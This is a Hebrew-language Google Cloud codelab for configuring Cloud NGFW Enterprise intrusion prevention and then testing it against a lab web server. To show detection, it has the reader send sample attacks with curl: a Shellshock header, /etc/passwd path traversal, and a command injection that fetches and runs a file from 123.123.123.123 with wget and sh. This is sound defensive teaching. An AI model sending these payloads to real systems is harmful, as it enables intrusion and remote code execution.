Cloud NGFW Enterprise – שירות למניעת חדירות (ללא בדיקת TLS)

1. מבוא

חומת אש מדור הבא ב-Cloud (NGFW)

Cloud Next Generation Firewall הוא שירות חומת אש מבוזר לחלוטין עם יכולות הגנה מתקדמות, מיקרו-פילוח ותמיכה רחבה, שמאפשר להגן על עומסי העבודה ב-Google Cloud מפני התקפות פנימיות וחיצוניות.

היתרונות של Cloud NGFW:

  • שירות חומת אש מבוזרת: Cloud NGFW מספק אכיפה מבוססת-מארח עם שמירת מצב (stateful) ומבוזרת לחלוטין בכל עומס עבודה, כדי לאפשר ארכיטקטורת אבטחה של אפס אמון.
  • הגדרה ופריסה פשוטים יותר: Cloud NGFW מטמיע מדיניות רשתות ומדיניות של חומות אש היררכיות שאפשר לצרף לצומת בהיררכיית המשאבים. כללי המדיניות האלה מספקים חוויית שימוש עקבית בחומת האש בכל היררכיית המשאבים של Google Cloud.
  • שליטה פרטנית ומיקרו-פילוח: השילוב של כללי מדיניות חומת אש ותגים שמנוהלים על ידי ניהול זהויות והרשאות גישה (IAM) מספק שליטה מדויקת על תעבורת נתונים מצפון לדרום וממזרח למערב, עד למכונה וירטואלית אחת, ברשתות ובארגונים של ענן וירטואלי פרטי (VPC).

Cloud NGFW זמין ברמות הבאות:

Cloud NGFW Enterprise

Cloud NGFW Enterprise מוסיף ל-fabric המבוזר של חומת האש של Google Cloud את שירות מניעת חדירה (IPS), יכולת בשכבה 7. יש תמיכה בבדיקת TLS כדי לאפשר בדיקה של תנועה מוצפנת ב-TLS, אבל היא לא נכללת בהיקף של סדנת הקוד הזו (ראו סדנת קוד ל-Cloud NGFW Enterprise עם בדיקת TLS).

עכשיו אפשר לפרוס בדיקות מהימנות של חומת אש מדור תשיעי (NGFW) בשכבה 7 עם אמצעי בקרה מפורטים, בלי לבצע שינויים בארכיטקטורה של הרשת או בהגדרות הניתוב.

כדי להפעיל ולפרוס בקרה של חומת אש בשכבה 7 באמצעות IPS, צריך לבצע את הפעולות הבאות:

  • יצירת קבוצה של נקודות קצה של חומת אש אזורית בניהול Google Cloud.
  • אפשר גם ליצור מדיניות בדיקה של TLS (הנושא הזה לא מוסבר בקודלאב הזה)
  • אפשר ליצור גם Trust Config (לא מוסבר בקודלאב הזה)
  • משייכים את נקודות הקצה האלה לרשתות הענן הווירטואלי הפרטי (VPC) שבהן אתם צריכים את שירות Cloud NGFW Enterprise.
  • מבצעים שינויים פשוטים בכללי חומת האש ובמדיניות חומת האש הקיימת כדי לציין את הפרופילים למניעת איומים בנתיבי התנועה השונים.

כללי מדיניות של חומת אש בין רשתות

מדיניות חומת האש ברשת משמשת כקונטיינר לכללי חומת האש. כללים שמוגדרים במדיניות של חומת אש ברשת לא נאכפים בשום מקום עד שהמדיניות משויכת לרשת VPC. לכל רשת VPC יכולה להיות מדיניות חומת אש אחת של רשת שמשויכת אליה. כללי המדיניות של חומת האש ברשת תומכים בתגים (או פשוט בתגים) שמנוהלים על ידי IAM בכללי חומת האש. התגים האלה מחליפים את תגי הרשת הנוכחיים, וניתן להשתמש בהם כדי לספק זהות לעומס העבודה.

שיתוף של מדיניות חומת אש ברשתות שונות והשילוב עם תגים שמנוהלים על ידי IAM מפשטים מאוד את ההגדרה והניהול של חומות האש.

בעקבות ההשקה של מדיניות חומת אש ברשת, כללי מדיניות חומת האש של Google Cloud מורכבים עכשיו מהרכיבים הבאים:

  1. מדיניות היררכית של חומת אש
  2. כללי חומת אש ב-VPC
  3. מדיניות חומת האש של הרשת ( גלובלית ואזורית)

מדיניות חומת אש היררכית נתמכת בצמתים של הארגון והתיקייה בהיררכיית המשאבים, ואילו כללי חומת האש של VPC וכללי מדיניות חומת האש ברשת חלים ברמת ה-VPC. הבדל גדול בין כללי חומת האש של VPC לבין כללי מדיניות חומת האש של הרשת הוא שאפשר להחיל את כללי חומת האש של VPC רק על רשת VPC אחת, בעוד שאפשר לצרף את כללי מדיניות חומת האש של הרשת ל-VPC יחיד או לקבוצה של VPC, בין היתר, לצורך עדכוני באצווה.

לבסוף, יש לנו גם את כללי חומת האש המשתמעים שמגיעים עם כל רשת VPC:

  • כלל תעבורת נתונים יוצאת (egress) שהפעולה שלו היא allow והיעד שלו הוא 0.0.0.0/0
  • כלל תעבורת נתונים נכנסת (ingress) שהפעולה שלו היא דחייה, והמקור הוא 0.0.0.0/0

כברירת מחדל, רצף האכיפה מוצג בתרשים הבא:

21b3bcabc469ffe.png

חשוב לדעת שאפשר להחליף את סדר האכיפה בין כללי חומת האש של VPC לבין מדיניות חומת האש הגלובלית של הרשת. לקוחות יכולים לציין את צו האכיפה בכל שלב באמצעות פקודת gcloud.

תגים שמנוהלים על ידי IAM

התגים המשולבים בכללי המדיניות של חומת האש ברשת הם משאבים של צמד מפתח/ערך שמוגדרים ברמת הארגון או ברמת הפרויקט בהיררכיית המשאבים של Google Cloud. כפי שרואים מהשם, תג כזה מכיל בקרת גישה של IAM שמציינת מי יכול לעשות מה בתג. לדוגמה, הרשאות IAM מאפשרות לציין אילו חשבונות משתמשים יכולים להקצות ערכים לתגים ואילו חשבונות משתמשים יכולים לצרף תגים למשאבים. אחרי שמחילים תג על משאב, אפשר להשתמש בו בכללי חומת האש ברשת כדי לאפשר ולדחות תעבורת נתונים.

התגים פועלים בהתאם למודל הירושה של משאבים ב-Google Cloud, כלומר התגים והערכים שלהם מועברים בהיררכיה מההורים. כתוצאה מכך, אפשר ליצור תגים במקום אחד ואז להשתמש בהם בתיקיות ובפרויקטים אחרים בהיררכיית המשאבים. בדף הזה מפורט מידע על תגים והגבלת גישה.

חשוב לא לבלבל בין תגים לבין תגי רשת. האחרונים הם מחרוזות שאפשר להוסיף למכונות של Compute Engine. הן משויכות למכונה ונעלמות כשהמכונה הוצאה משימוש. כללי חומת האש של VPC עשויים לכלול תגי רשת, אבל מאחר שהם לא נחשבים למשאבים בענן, הם לא כפופים לבקרת הגישה של IAM.

שימו לב: במסמך הזה אנחנו משתמשים לסירוגין במונחים 'תגים' ו'תגים שמנוהלים על ידי IAM'.

מה תפַתחו

בשיעור ה-Codelab הזה נדרשים פרויקט אחד ויכולת ליצור רשת VPC עם קישוריות ציבורית. במהלך השיעור נראה איך Cloud NGFW Enterprise יכול לספק פונקציונליות של IPS באמצעות:

  • בדיקת תעבורה בתוך VPC או תת-רשת [מזרח-מערב]
  • בדיקת תעבורת הנתונים הנכנסת מהאינטרנט [צפון-דרום]

תהליכי הבדיקה ייבחרו באמצעות פרמטרים תואמים של חומת האש של Cloud, כולל 5-tuple (כתובת IP של מקור, כתובת IP של יעד, פרוטוקול, יציאת מקור, יציאת יעד) ותגים. בדיקת TLS לא נכללת בקודלאב הזה.

52a0642ef8668ecf.png

מערכת הכללים של מדיניות חומת האש ברשת תיראה דומה לטבלה הבאה:

עדיפות

כיוון

Target

מקור

יעד

פעולה

סוג

100

תעבורת נתונים יוצאת (egress)

Quarantine_Tag

הכול

הכול

דחייה

בסיסיות

1000

תעבורת נתונים נכנסת (Ingress)

Server_Tag

טווחים של בדיקות תקינות

הכול

אישור

בסיסיות

2000

תעבורת נתונים נכנסת (Ingress)

הכול

טווחים של שרת proxy לאימות זהויות (IAP)

הכול

אישור

בסיסיות

3000

תעבורת נתונים נכנסת (Ingress)

הכול

Geo, ‏ GCTI

הכול

דחייה

רגיל

4000

תעבורת נתונים יוצאת (egress)

הכול

הכול

Geo, ‏ GCTI

דחייה

רגיל

5000

תעבורת נתונים יוצאת (egress)

הכול

הכול

שמות דומיין מלאים (FQDN) של עדכוני מערכת

אישור

רגיל

6000

תעבורת נתונים נכנסת (Ingress)

Server_Tag

10.0.0.0/24

הכול

IPS

ארגונים

7000

תעבורת נתונים נכנסת (Ingress)

Server_Tag

CloudNAT_IP

הכול

IPS

ארגונים

מה תלמדו

מה צריך להכין

  • פרויקט ב-Google Cloud
  • ידע בפריסה של מכונות והגדרה של רכיבי רשת
  • ידע בהגדרת חומות אש של VPC

2. לפני שמתחילים

יצירת משתנים ועדכון שלהם

בקודלאב הזה נעשה שימוש במשתני $כדי לעזור בהטמעת הגדרות gcloud ב-Cloud Shell.

ב-Cloud Shell, מריצים את הפקודות הבאות ומחליפים את המידע בסוגריים לפי הצורך (דילוג על הגדרת הפרויקט אם הפרויקט הרצוי כבר מוגדר). אם יש צורך בכמה נקודות קצה, למשל חומות אש, משתמשים במשתנה אחר למשאבים ברמת הארגון.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. הפעלת ממשקי API

מפעילים את ממשקי ה-API, אם עדיין לא עשיתם זאת:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. יצירת פרופיל אבטחה ונקודת קצה של Cloud NGFW לארגונים

יצירת נקודת הקצה של Cloud NGFW Enterprise נמשכת כ-20 דקות, לכן היא תיווצר קודם, וניתן לבצע את ההגדרה הבסיסית במקביל ליצירת נקודת הקצה.

יוצרים את פרופיל האבטחה ואת קבוצת פרופילי האבטחה:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

הפלט אמור להיראות כך:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

מוודאים שהמשאבים נוצרו:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

הפלט אמור להיראות כך:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

יוצרים את נקודת הקצה של Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

מריצים את הפקודה הבאה כדי לוודא שנקודת הקצה נוצרת (סטטוס: יצירה).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

הפלט הצפוי (הערה: פורמט הפלט עשוי להשתנות בהתאם ללקוח שבו נעשה שימוש):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

אפשר גם להריץ את הפקודה הבאה כדי לקבל פרטים נוספים:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

הפלט אמור להיראות כך:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

תהליך היצירה של נקודת הקצה נמשך כ-20 דקות. ממשיכים לקטע 'הגדרה בסיסית' כדי ליצור את המשאבים הנדרשים במקביל.

5. הגדרה בסיסית

אם אתם מעדיפים ליצור את המשאבים הבסיסיים באופן ידני, תוכלו להמשיך לקטע הבא.

רשת VPC ותת-רשת

רשת ו-subnet של VPC

יוצרים את הרשת והתת-רשת של VPC:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

יוצרים את Cloud Routers ואת שערי Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

מכונות

יוצרים את המכונות של הלקוח ושרת האינטרנט:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

תגים ברמת הפרויקט

אם צריך, מקצים למשתמש את ההרשאות tagAdmin ו/או tagUser:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

יוצרים את המפתח והערכים של התג ברמת הפרויקט:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

קישור תגים למכונות:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

המדיניות הגלובלית בנושא חומת אש בין רשתות

יוצרים מדיניות חומת אש גלובלית ברשת:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

יוצרים כללים בסיסיים של Cloud Firewall כדי לדחות תעבורת נתונים ממכונות בבידוד (נוצרו לצורך הדגמה בלבד, לא נעשה בהן שימוש ב-codelab הזה) ולאפשר תעבורת נתונים מטווחים של בדיקות תקינות ושל שרת proxy לאימות זהויות:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

יוצרים כללים רגילים של Cloud Firewall כדי לדחות תעבורת נתונים נכנסת ויוצאת ממדינות שנמצאות במצור, מכתובות IP זדוניות ידועות ומצמתים של יציאה ב-ToR, ומאפשרים רק תעבורת נתונים יוצאת לכתובות FQDN ספציפיות לצורך עדכוני מערכת (הכללים האלה נוצרו לצורך הדגמה בלבד, ולא נעשה בהם שימוש ב-codelab הזה):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

יוצרים כללים של Cloud Firewall שמאפשרים תעבורת נתונים נכנסת ממזרח למערב / בתוך תת-הרשת ומצפון לדרום / תעבורת נתונים מהאינטרנט מהטווחים הספציפיים (הכללים האלה יתעדכנו כדי לאפשר את הפעלת Cloud NGFW Enterprise):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

משייכים את מדיניות חומת האש של הרשת לרשת ה-VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

מאזן עומסים חיצוני ברשת מסוג TCP/UDP

שומרים כתובת IP חיצונית ויוצרים את קבוצת המכונות ובדיקת התקינות:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

יוצרים שירות לקצה העורפי וכלל העברה:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. שיוך של נקודות קצה לארגונים ל-Cloud NGFW

מגדירים מחדש את משתני הסביבה לפי הצורך.

מוודאים שהיצירה של נקודת הקצה של חומת האש ב-Cloud הושלמה בהצלחה. ממשיכים רק אחרי שהסטטוס מוצג כ-פעיל (במהלך היצירה, הסטטוס הצפוי הוא יצירה):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

הפלט הצפוי (הערה: פורמט הפלט עשוי להשתנות בהתאם ללקוח שבו נעשה שימוש):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

אפשר גם להריץ את הפקודה הבאה כדי לקבל פרטים נוספים:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

הפלט אמור להיראות כך:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

משייכים את נקודת הקצה של Cloud NGFW Enterprise לרשת ה-VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

תהליך השיוך נמשך כ-10 דקות. ממשיכים רק אחרי שהסטטוס מוצג כ-פעיל (הסטטוס הצפוי הוא יצירה במהלך תהליך היצירה):

gcloud network-security firewall-endpoint-associations list

הפלט אמור להיראות כך:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

אפשר גם להריץ את הפקודה הבאה כדי לקבל פרטים נוספים:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

הפלט אמור להיראות כך:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. כללי בדיקה של Cloud NGFW Enterprise

פותחים כרטיסייה חדשה ומפעילים חיבור SSH למכונה הווירטואלית של הלקוח דרך IAP (צריך להגדיר שוב את המשתנים בכרטיסייה החדשה):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

מגדירים את המשתנים הנדרשים בסשן ה-SSH ומגדירים את המשתנים (מוודאים שהערכים נכונים):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

בודקים את שני כתובות ה-IP באמצעות curl כדי לוודא שאפשר לגשת אליהן:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

התוצאה הצפויה בשתי בקשות ה-curl:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

שליחת התקפות לדוגמה לכתובת ה-IP הפנימית של השרת (תעבורת נתונים מזרחה-מערב או בתוך VPC). שרת האינטרנט אמור להגיב לכל הבקשות, כדי לאשר שאין בדיקה או מניעה ברמה L7:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

שולחים מחדש את התקפות הדוגמה לכתובת ה-IP של השרת החיצוני דרך Cloud NAT (תנועה נכנסת מצפון לדרום), ובאופן דומה, שרת האינטרנט צריך להגיב לכל הבקשות:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

התוצאות הצפויות גם עבור כתובות IP ציבוריות וגם עבור כתובות IP פרטיות:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

חוזרים ל-Cloud Shell ומעדכנים את כללי ה-ingress הקיימים כדי להפעיל בדיקה ברמה L7:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

לחלופין, אפשר לתאר את כללי חומת האש כדי לוודא ששניהם עודכנו בהצלחה:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

הפלט אמור להיראות כך:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

כלל 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

הפלט אמור להיראות כך:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

חוזרים למכונה הווירטואלית של הלקוח ושולחים מחדש את התקפות הדגימה לכתובת ה-IP הפנימית של השרת (בדיקת East-West או Intra-VPC):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

שולחים מחדש את התקפות הדוגמה לכתובת ה-IP החיצונית של השרת דרך Cloud NAT (בדיקה נכנסת מצפון לדרום):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

לא מתקבלות תשובות מההתקפות הראשונות, בהתאם לפלט הצפוי שמופיע בהמשך. זה מאשר שההתקפות ברמת החומרה הגבוהה חסומות עכשיו.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

עוברים אל Network Security (אבטחת רשת) > Threats (איומים) במסוף Cloud כדי לאמת את היומנים (יכול להיות שתצטרכו לרענן כמה פעמים אם ההתקפות עדיין לא מוצגות).

daa535fcc34873aa.png

בוחרים באחת מההתקפות ולוחצים על 'הצגת יומן הביקורת' בצד שמאל (פותחים בכרטיסייה חדשה כדי לחזור בקלות). מרחיבים את ההתקפה כדי להציג את הפרטים:

5f97cdef79e42eff.png

לחלופין, אפשר להחליף את המסנן של Log Explorer בשאילתה הבאה:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

הרשומות ביומן האיומים אמורות להיראות כך:

5ea9581a7eb694c5.png

אפשר לאמת חבילות שנלכדו על ידי חומת האש של Cloud באמצעות המסנן הבא ב-Logs Explorer (שימושי לצורך פתרון בעיות):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

